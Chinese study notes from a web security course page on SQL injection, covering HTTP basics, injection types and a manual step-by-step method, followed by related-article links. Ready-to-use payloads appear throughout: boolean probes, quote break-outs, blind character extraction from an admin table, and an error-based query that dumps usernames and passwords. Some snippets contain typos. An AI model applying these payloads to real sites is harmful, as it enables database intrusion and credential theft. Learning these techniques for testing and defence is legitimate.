sql 子查询:() select goods_name from goods where goods_id=(select max(goods_id) from goods);

联合查询:select * from boy union select *from girl select 查库 11,hid,bname from boy union select uid,name,age

from user

information_schema

http 协议

tcp 1-65535

udp 1-65535

防火墙

80,443,53

HTTP 针对web的攻击

Web: 前端+后端+数据库

前端 :用户交易 html (标签语言),css(样式表),Javascript (动态处理)

通讯 :http/ https 协议  **

后端 : c -->php / J(java)SP /ASP/ASPX(.NET)

数据库 :关系型数据库 MySQL Oracle db2 SqlServer msSQL  非MongoDB

HTTP

请求request

回复responset

POST /login.php HTTP/1.1  ##请求行

HOST: www.xxx.com(键值对,前键后值##一行)##请求头

User-Agent: Mozilla/5.0(windows NT 6.1;rv15.0)Gecko/20100101 firefox/1.5

//空白行,带表请求头结束

Username=admin&password=admin //请求正文

与HTTP请求对应的是HTTP响应,HTTP响应也是由3部分组成,分别是:响应行,响应头(消息报头),响应正文(消息主体)

(HTTP头详解)ß(配套群里HTTP头详解食用)

HTTP/1.1 200  OK     /响应行

Date:Thu,28 Feb 2013 07:36:47 GMT //响应头

SERVER:

Content-Length

….

// 空白行,代表响应头结束

<html> //响应正文或叫消息主体

<head><title>index.html</title></head>

<html>

**闭合**

SQL注入

原理:用户对SQL注入语句的可控性,可以输入数据库指令,被SQL解释器执行,导致数据库被用户控制

分类:

数字型+字符型

数字型注入多存在于asp和php网站的应用程序中,因为ASP和PHP输入弱类型语言,例如:参数id=5,PHP会自动来推导变量id的类型为int类型语言,那么id=5 and 1=1 则会推导为string类型,这是弱类型语言的特性;而Java,c#这类强类型语言,如果试图把一个字符串转换为int类型,处理不当则会抛出异常,无法继续执行。这方面强类型语言比弱类型语言有先天优势,所以作为一个合格的程序员,在数据类型处理方面一定要严格设置

Id=5 and 1=1

Select  * from table where id=8

字符型注入

输入参数为字符串时

例:

Select  *  from table where username = ‘ admin ‘

Select  *  from table where username= ‘ 8’ or 1=1 –‘

Select  *  from table where username= like ‘%admin%’

http://www.xxx.com/goods.asp?goods_name=N85 ' and 1=1

select * from goods where goods_name ='N85 '(浅闭合单引号) and 1=1 or '''

只要是字符串则必须单引号闭合以及代码注释,无论是select注入,insert注入,或者其他类型的注入

例如update语句:某常见的卖家修改商品名称的功能,SQL语句如下:update goods set goods_name = ‘ipone X ‘ where goods_id =3;

现在需要对SQL语句注入,这需要闭合,可在name插入语句为’+(select name from users where id=1)+’,最终执行的SQL语句为:

Update goods set goods_name=’ ‘+(select name from users where id=3+’ ‘ where good_id=1;

利用两次单引号闭合才能完成这一次的闭合

注意:根据数据库的不同,字符串连接符也不同,如SQLserver连接字符是“+”,Oracle 连接符为“||”,MySQL 连接符为空格

其他分类方法

注入点不同:

- Cookie注入,POST 注入,get注入,搜索型注入

利用的SQL语句不同:

- Update注入,select注入,union注入

注入显错方式不同:

- 错注入,盲注

花式高级

- 延时注入(boolen,二分法),二次注入

注入思路

  1. 判断是否有注入点
  2. 注入点类型判断(数字 or 字符 )
  3. 判断数据库 (Acess,MySQL,msSQL,Oracle,其他)
  4. 查询有哪些库(acess可以跳过)
  5. 查询有哪些表
  6. 查询某个表有哪些列
  7. 查询每一条记录的内容

主信道

80 http HTML

侧信道

电源, 空气,声音 ,时间* ,53 dns协议*,SIM卡 ,示波器

不能用等号时

|| 555*666=666*555*1;

|| 555*666 in (666*555*1,1);

|| 555*666 like 666*555*1;

手工注入

  1. 判断注入点

(1) and 1=1

(2) and 1=2

  1. 简单判断数据库类型

. and exists(select count(*) from msysobjects)(msysobjects表为access特有的,但默认无权限读取)

and exists(select count(*)from sysobjects)(sysobjects是SQLserver特有的)

0<(select top 1 asc(mid(admin,1,1)) from admin) (top2:前两行)(top 1: 前一行 横行 参数1从第一位开始取 参数2:取1位字母)

  1. 猜表名称:

And 0<=(select count(*) from admin) –判断是否有admin这张表

  1. 猜表中账户的数目(行数)

and 0< (select count(*) from admin) –判断admin这张表里是否有数据

and 0< (select count(*) from admin) –判断是否有1条以上的数据

  1. 猜测字段名称 count括号里加上我们想到的字段名称

and 0< (select count(admin) from admin)

  1. 猜各个内容的长度

and  (select top 1 asc(mid(admin,1,1)) from admin)>0 说明内容长度大于等于1

and  (select top 1 asc(mid(admin,2,1)) from admin)>0  说明内容长度大于等于2

and  (select top 1 asc(mid(admin,3,1)) from admin)>0  说明内容长度大于等于3

and  (select top 1 asc(mid(admin,6,1)) from admin)>0  说明内容长度大于等于6

and  (select top 1 asc(mid(admin,7,1)) from admin)>0  说明内容长度大于等于7

  1. 猜字段内的内容

and  (select top 1 asc(mid(字段名,从第几位开始,取几个字符)) from admin)>$0$ -不报错一直测量下去

读取字段值

Select * from c_content where contented = 3uion select 1from (select count(*),concat(float(rand(0)*100), (select concat(0x7e,username,0x3a,password,0x3a,encrypt,0x7e) from xdcm.s_admin limit 0,1))a from information_schema.tables group by a)b#

手工sql注入(重点)的更多相关文章

  1. 【web安全】第六弹:手工SQL注入详解

    前一段时间,在对SQL注入有了新的理解之后,写了这篇文章.本来准备投稿,因为内容过于基础被打回来了,想想屯着也没意思,发出来发出来~~本来有好多图的,但是博客园发图很麻烦,word文档的链接会贴在文章 ...

  2. 手工sql注入简单入门

    1.判断是否可以注入: 数字型: 1.1在参数后面加一个引号',如果页面报数字number错误,则一定不是sql注入点:如果报数据库比如mysql.oracle之类的错误,则是一个sql注入点. 1. ...

  3. 渗透常用手工SQL注入语句合集

    1.判断有无注入点; and 1=1 and 1=2 2.猜表一般的表的名称无非是admin adminuser user pass password 等..and 0<>(select ...

  4. 手工sql注入判断是否存在注入点

    1.加入单引号 ’提交,结果:如果出现错误提示,则该网站可能就存在注入漏洞.2.数字型判断是否有注入;语句:and 1=1 ;and 1=2 (经典).' and '1'=1(字符型)结果:分别返回不 ...

  5. 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞

    目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...

  6. 一篇文章带你了解SQL注入

    什么是SQL注入? 原理: Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令 危害: 注入可能导致数据丢失泄露或数据破坏.缺乏可审计性,有时甚至能导致完全接管 ...

  7. 『SQL注入』 User-Agent 手工注入的探测与利用分析

    原理很简单:后台在接收UA时没有对UA做过滤,也没有PDO进行数据交互(实际PDO是非常有必要的),导致UA中有恶意代码,最终在数据库中执行. Bug 代码: 本地顺手打了一个环境,Bug 代码部分: ...

  8. 手工检测SQL注入漏洞

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...

  9. SQL注入之PHP-MySQL实现手工注入-数字型

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎 ...

随机推荐

  1. 向HashMap中添加1000个元素,设置new HashMap()值为多少合适?

    在已知元素容量的情况下,为了尽量减少碰撞增加查询效率,应该尽量选择较大数的同时避免资源浪费. HashMap底层通过hash值来计算索引位置的源码: 1.重新计算hash值 static final ...

  2. python 基础学习笔记(3)--列表与元组

    **本次笔记主要内容为 列表,元组主要的功能和特性** **1.列表**: 学习过c语言的同学应该知道,c语言有数组这一功能,就是将数据类型相同的元素放在一起.由于python的变量没有数据类型,也就 ...

  3. java与WebService对接案例--生成代码方法

    前端时间出差做项目,因为我们给对三方工厂做Mes项目,其中有一个报工环节,需要我们的Mes中将产品提交到他们的U9(Erp)上,但是由于u9是用友的产品,用c#写的,而我是用java写的,那么WebS ...

  4. canvas多彩粒子星空背景

    HTML5 canvas 实现多颜色粒子星空页面背景,喜欢的可以收藏.自己可以定义颜色,粒子透明度,粒子数量,粒子大小. 预览效果图如下: 1.获取canvas上下文,并且动态设置canvas尺寸和屏 ...

  5. 精通并发与 Netty (二)常用的 rpc 框架

    Google Protobuf 使用方式分析 对于 RPC 协议来说,最重要的就是对象的发送与接收,这就要用到序列化与反序列化,也称为编码和解码,序列化与反序列化和网络传输一般都在对应的 RPC 框架 ...

  6. 使用Minikube部署本地Kubernetes集群(二十八)

    前言 使用Minikube部署本地k8s集群相对比较简单,非常推荐将其用于本地k8s开发环境,唯一麻烦点的仅仅是网络问题. 在本篇教程中,我们使用了国内的镜像来完成本地k8s集群的搭建.如果搭建过程中 ...

  7. CentOS7 使用 kubeadm 搭建 k8s 集群

    一 安装Docker-CE 前言 Docker 使用越来越多,安装也很简单,本次记录一下基本的步骤. Docker 目前支持 CentOS 7 及以后的版本,内核要求至少为 3.10. Docker ...

  8. TCP UDP (转)

    互连网早期的时候,主机间的互连使用的是NCP协议.这种协议本身有很多缺陷,如:不能互连不同的主机,不能互连不同的操作系统,没有纠错功能.为了改善这种缺点,大牛弄出了TCP/IP协议.现在几乎所有的操作 ...

  9. 在?MySQL事务隔离级别了解一下?

    事务的四大ACID 属性:Atomicity 原子性.Consistency 一致性.Isolation 隔离性.Durability 持久性. 原子性: 事务是最小的执行单位不可分割,强调事务的不可 ...

  10. Java 集合类Hashmap

    一.HashMap 简介 HashMap在程序员的开发过程中是一个十分常用的集合类,它是一个以键值对形式存在的集合类, 在开发中我们可以利用的它的一个key存在即替换的特性,实现一个更新的去重的操作. ...